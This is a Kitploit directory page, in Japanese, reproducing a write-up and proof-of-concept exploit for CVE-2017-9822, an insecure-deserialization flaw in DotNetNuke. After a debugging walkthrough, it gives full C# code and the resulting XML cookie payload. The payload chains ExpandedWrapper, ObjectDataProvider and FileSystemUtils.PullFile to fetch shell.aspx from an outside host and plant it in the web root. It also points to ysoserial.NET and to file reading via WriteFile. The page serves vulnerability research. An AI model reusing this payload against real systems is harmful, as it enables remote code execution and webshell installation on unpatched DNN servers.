Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2017-9822 — CVE-2017-9822の詳細な分析と概念実証エクスプロイト。DotNetNuke CMSのXXE/安全でない逆シリアル化の脆弱性で、Cookie操作によるリモートコード実行につながります。 | Kitploit
ツール/GitHubGitHub/tranphuc2005/cve-2017-9822
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発バイナリエクスプロイト
GitHubtranphuc2005/cve-2017-9822

CVE-2017-9822

CVE-2017-9822の詳細な分析と概念実証エクスプロイト。DotNetNuke CMSのXXE/安全でない逆シリアル化の脆弱性で、Cookie操作によるリモートコード実行につながります。

リポジトリを見る
211ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2017-9822

DotNetNuke(通常は DNN と略される)は、Microsoft の ASP.NET テクノロジに基づく CMS(コンテンツ管理システム)プラットフォーム および Webアプリケーションフレームワーク です。

基本情報

  • 影響を受ける製品: DotNetNuke(DNN Platform) – 一般的な .NET CMS/ポータル。

  • 公開日: 2017年7月。

  • 深刻度: Critical(CVSS 約9.8)。

  • 脆弱性の種類: XML External Entity (XXE) / 安全でない逆シリアル化 → リモートコード実行 (RCE)。

  • 影響: バージョン 9.1.1 より前では Cookie を介してリモートでコードを実行される可能性があります。

セットアップ手順

ここでは、Windows 10 を使用してプログラムのセットアップとデバッグを行っています。インストールしたバージョンは 9.1.0 です。インストール方法は こちら を参照してください。完了時の結果は次のとおりです:

1

分析

1

  • 私が読んだレポートによると、この脆弱性は DotNetNuke の Cookie 処理部分に存在します。

  • DNN は、DNNPersonalization Cookie に対して安全でない逆シリアル化(unsafe deserialization)を使用しています。

1

デバッグ

  • ここでは dnSpy を使用しています。dnSpy は .NET(C#、VB.NET、F#...) アプリケーション向けの デコンパイラ(逆コンパイラ)兼デバッガ です。.NET で書かれた .dll や .exe などのコンパイル済みファイルから ソースコードを表示、分析、編集 できます。こちら からインストールできます。デバッグには 2 つのバージョンをダウンロードする必要があります。

1

  • 最初に、32 ビット版で DotNetNuke.dll を開き、Edit Assembly Attributes (C#) を選択します。

1

  • 次に、次の行を置き換えます。
root@kitploit:~
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
  • 次のようにします。
root@kitploit:~
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

1

その後、保存します。

  • 64 ビット版を管理者権限で開き、Attach to Process を選択します。

1

  • 次に、w3wp.exe を選択します。

1

w3wp.exe を選択する理由は次のとおりです:

  • w3wp.exe は IIS Worker Process です。

  • IIS の Application Pool が実行するプロセスです。

  • Web サイトに HTTP リクエストが送信されると、IIS はそのリクエストを処理するために w3wp.exe を作成または再利用します(ASP.NET コードの実行、モジュール、ミドルウェア、データベース接続などの処理)。

  • 各 Application Pool は、構成(Web Garden、リサイクル)に応じて 1 つまたは複数の w3wp.exe プロセスを持つことができます。

次に、Debug -> Window -> Modules を選択します。

1

完了すると Modules が表示されるので、任意の項目を右クリックして Open All Modules を選択します。

1

最後に、DNN に関連するすべての Assembly が表示されます。

1

  • DotNetNuke.dll の PersonalizationController#LoadProfile(int, int) 内に入ります。

1

この関数は、DNN ポータルでユーザーの個人設定(プロファイル)データを読み込むために使用されます。

  • ログイン済みユーザーの場合 → データベース + キャッシュ からプロファイルを取得します。

  • 匿名ユーザー(未ログイン)の場合 → Cookie DNNPersonalization からプロファイルを取得します。

ここでは、DNNPersonalization に焦点を当てるべきです。

  • userId が無効な場合(匿名ユーザー)。

  • リクエスト内に DNNPersonalization Cookie があるかどうかを確認します。

  • あれば → この Cookie から XML 値を取得します。

  • Web サイトに 404 リクエストを送信し、任意の DNNPersonalization を使用します。dnSpy で DotNetNuke.dll の PersonalizationController#LoadProfile(int, int) にブレークポイントを設定すると、デバッグできます。

1

1

  • Call Stack セクションでは、PortalSettings クラスの分析に焦点を当てましょう。

1

  • 注目すべき点は、現在のリクエストが IsAuthenticated であるかどうかを if 条件で確認していることです。

  • そして、送信したリクエストは 404 であるため、unauthenticated になります。

  • さらに Call Stack 内で、Handle404OrException に注目します。

1

  • ここでは、現在のリクエスト context.User が null かどうかを確認し、null の場合は context.User に現在のスレッドユーザーを割り当てます。

1

1

  • Handle404OrException 内では、IsAuthenticated 変数が true になり、ユーザーは IIS サーバーのユーザーであるため、リクエストは認証済みユーザーとして処理されることがわかります。

  • 問題の原因は次のコードにあります。

root@kitploit:~
else if (transfer)
{
	if (context.User == null)
	{
		context.User = Thread.CurrentPrincipal;
	}
	response.TrySkipIisCustomErrors = true;
	IHttpHandler handler = new CDefault();
	context.Handler = handler;
	server.Transfer("~/" + text, true);
}
  • context.User が存在しない場合 → Thread.CurrentPrincipal(つまり現在のスレッドの ID)を割り当てます。

  • これにより、後続の処理でリクエストにユーザー/ロール情報が含まれるようになります。

=> DNNPersonalization 変数を使用して Cookie に任意の内容を渡すと、通常のユーザーとして実行されます。

次に、Cookie の処理方法を見てみましょう

  • 引き続き DotNetNuke.dll の PersonalizationController#LoadProfile(int, int) 内で確認します。

  • 変数 text が Cookie の値を受け取り、その後 Globals.DeserializeHashTableXml() への入力として渡されることがわかります。

1

  • Globals.DeserializeHashTableXml() の中に入ります。

1

DeserializeHashTableXml 関数の役割:

  • XML 文字列(Source)を受け取ります。

  • その XML 文字列を解析して、Hashtable オブジェクトに変換します。

  • 解析中に、"profile" パラメータを指定して XML ルートノードを指定し、XmlUtils.DeSerializeHashtable 関数を呼び出します。

XmlUtils.DeSerializeHashtable の中に入ると、その処理方法がわかります。

1

DeSerializeHashtable 関数は XML 文字列を受け取り、それを Hashtable に変換します。各 <item> ノードに対して、関数は次の処理を行います:

  • key をキーとして取得します。

  • type を取得し、Type.GetType(type) を呼び出してデータ型を特定します。

  • XmlSerializer.Deserialize を使用して、XML の内容を実際のオブジェクトに変換します。

  • Hashtable に追加します。

👉 問題:type と XML の内容は(Cookie DNNPersonalization から)完全にユーザーが制御できます。

ペイロードの作成

XmlUtils#DeSerializeHashtable が脆弱性の位置であることを踏まえ、オブジェクトをシリアル化/逆シリアル化する同様のプログラムを作成します:

root@kitploit:~
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;

namespace example
{
	public class Test  
	{  
	    private string _name;  
	    public string name  
	    {  
	        get { return _name; }  
	        set { this._name = value; execCMD(); }  
	    }  
	  
	    private void execCMD()  
	    {  
	        Process process = new Process();  
	        process.StartInfo.FileName = this._name;  
	        process.Start();  
	        process.Dispose(); // close  
	    }  
	}

    public class Program
    {
        private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
        public static void Serialize(Object obj) // method xml serialize arbitrary object 
        {
            // tạo xml root element
            XmlDocument xmlDocument = new XmlDocument();
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
            xmlDocument.AppendChild(xmlElementRoot);

            // tạo node con item có attribute type chứa tên object type

            XmlElement xmlElementItem = xmlDocument.CreateElement("item");
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);

            // serialize obj thành xmlDocumentObj

            XmlDocument xmlDocumentObj = new XmlDocument();
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
            StringWriter stringWriter = new StringWriter();
            xmlSerializer.Serialize(stringWriter, obj);
            xmlDocumentObj.LoadXml(stringWriter.ToString());
            // thêm xml serialized object này vào node item và thêm node item vào root element
            xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));

            xmlElementRoot.AppendChild(xmlElementItem);
    
            File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);

        }

        public static void DeSerialize(string xmlSource, string rootname)
        {
            // Hashtable hashtable = new Hashtable();
            if (!string.IsNullOrEmpty(xmlSource))
            {
                try
                {

                    XmlDocument xmlDocument = new XmlDocument();
                    xmlDocument.LoadXml(xmlSource);
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
                    {
                        XmlElement xmlElement = (XmlElement)obj;
                        string attribute = xmlElement.GetAttribute("key");
                        string attribute2 = xmlElement.GetAttribute("type");
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));

                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
                        // custom

                        Object objResult = xmlSerializer.Deserialize(xmlReader);
                        Test testObj = (Test) objResult;
                        Console.WriteLine("Deserialize sucessful: " + testObj.name);
                    }
                }
                catch (Exception)
                {
                }
            }
            // return hashtable;
        }
        static void Main(string[] args)
        {
            // serialize
            Test test = new Test();
            test.name = "notepad.exe"
            Serialize(test);
            // deserialize
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
            DeSerialize(xmlSource, "profile");

        }
    }
}
  • xml ファイルは次のようになります:
root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<profile>
  <item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
    <Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xmlns:xsd="http://www.w3.org/2001/XMLSchema">
      <name>notepad.exe</name>
    </Test>
  </item>
</profile>

1

  • 次に、RCE に移ります。
  • Deserialize を実行したときにコードを実行できるオブジェクトを見つける必要があります。
  • ここでは、FileSystemUtils PullFile method を見つけました。

1

説明:

  • PullFile(string URL, string FilePath) — FileSystemUtils の静的メソッドで、URL からコンテンツをシステム上の FilePath パスにダウンロードするために使用されます。

  • 内部では WebClient.DownloadFile(URL, FilePath) を使用してファイルをダウンロードして書き込みます。

  • catch はエラーをログに記録してメッセージを返すだけで、例外を再スローしません。

しかし、問題があります。XmlSerializer はクラスのメソッドをシリアル化できず、パブリックなフィールドとプロパティのみをシリアル化できます。FileSystemUtils クラスのパブリックなフィールドとプロパティには、PullFile メソッドを呼び出せるものはありません。

では、ObjectDataProvider クラス に移ります。

  • ObjectDataProvider は WPF のクラスです(名前空間 System.Windows.Data、モジュール PresentationFramework.dll)。

  • ランタイムでメソッドを呼び出す機能があります — データを保持するだけでなく、ラップされたオブジェクト上の任意のメソッドを呼び出して アクション(副作用)を実行 できます。

  • パラメータを渡すことができます — 攻撃者はメソッドに渡すパラメータを制御できます(たとえば、PullFile メソッドの URL とファイルパス)。

  • ObjectDataProvider 自体はインタープリタのように「コードを実行」するわけではありません。ただし、ラップされたオブジェクト上の任意のパブリックメソッドを呼び出すことができます。そのため、危険な副作用(ファイルのダウンロード、プロセスの実行、ファイルの書き込みなど)を持つパブリックメソッドが存在すると、チェーンを実行できます。

1

  • ここでは、DataSourceProvider の Refresh() を呼び出しています。

1

  • 次に BeginQuery() に移動します。ObjectDataProvider は DataSourceProvider から継承しているため、ObjectDataProvider の BeginQuery() に移ります。

1

  • 続いて QueryWorker です。

1

  • これは InvokeMethodOnInstance を呼び出します。

1

InvokeMethodOnInstance は実際の実行(invoke)メソッドです。リフレクションを使用して、ObjectDataProvider が「ラップ」しているオブジェクト上で指定されたメソッド(MethodName)を呼び出し(静的メソッドの場合はその型)、MethodParameters リストを渡し、そのメソッドの戻り値を返します。

  • スクリプトの作成には JetBrains Rider IDE を使用します。DotNetNuke.dll と PresentationFramework.dll モジュールへの参照が必要です。

1

実行可能なペイロードは次のとおりです。

root@kitploit:~
using System;  
using System.IO;  
using System.Xml;  
using System.Xml.Serialization;  
using System.Windows.Data;              // ObjectDataProvider  
using DotNetNuke.Common.Utilities;      // FileSystemUtils (nếu bạn đã add DLL)  
using System.Data.Services.Internal;    // ExpandedWrapper (nếu có)  
  
namespace example  
{  
    public class Program  
    {  
        private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // CHANGE THIS  
        public static void Serialize(Object obj) // method xml serialize arbitrary object   
        {  
            // tạo xml root element  
            XmlDocument xmlDocument = new XmlDocument();  
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");  
            xmlDocument.AppendChild(xmlElementRoot);  
  
            // tạo node con item có attribute type chứa tên object type  
            XmlElement xmlElementItem = xmlDocument.CreateElement("item");  
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);  
  
            // serialize obj thành xmlDocumentObj  
            XmlDocument xmlDocumentObj = new XmlDocument();  
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());  
            StringWriter stringWriter = new StringWriter();  
            xmlSerializer.Serialize(stringWriter, obj);  
            xmlDocumentObj.LoadXml(stringWriter.ToString());  
  
            // thêm xml serialized object này vào node item và thêm node item vào root element  
        xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));  
            xmlElementRoot.AppendChild(xmlElementItem);  
            File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);  
        }  
  
        public static void DeSerialize(string xmlSource, string rootname)  
        {  
            // Hashtable hashtable = new Hashtable();  
            if (!string.IsNullOrEmpty(xmlSource))  
            {  
                try  
                {  
                    XmlDocument xmlDocument = new XmlDocument();  
                    xmlDocument.LoadXml(xmlSource);  
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))  
  
                    {  
                        XmlElement xmlElement = (XmlElement)obj;  
                        string attribute = xmlElement.GetAttribute("key");  
                        string attribute2 = xmlElement.GetAttribute("type");  
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));  
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));  
                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));  
                        // custom  
                        Object objResult = xmlSerializer.Deserialize(xmlReader);  
                    }  
                }  
                catch (Exception)  
                {  
                }  
            }  
            // return hashtable;  
        }  
        static void Main(string[] args)  
        {  
            ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();  
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();  
            expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();  
            expandedWrapper.ProjectedProperty0.MethodName = "PullFile";  
    expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");  
            expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");  
  
            Console.WriteLine("Done!!");  
            Serialize(expandedWrapper);  
  
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");  
            DeSerialize(xmlSource, "profile");  
  
        }  
    }  
}

次のような xml ファイルが得られます。

root@kitploit:~
<profile>
  <item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <ExpandedElement/>
      <ProjectedProperty0>
        <MethodName>PullFile</MethodName>
        <MethodParameters>
          <anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
          <anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
        </MethodParameters>
        <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
      </ProjectedProperty0>
    </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
  </item>
</profile>

ペイロードを挿入します。

1

1

1

では、実際にエクスプロイトを実行しましょう。

1

さらに、ツール ysoserial.NET を使用してペイロードを生成することもできます。

1

1

さらに、FileSystemUtils クラスの WriteFile によるファイル読み取りも悪用できます。

1

1

ツールをダウンロード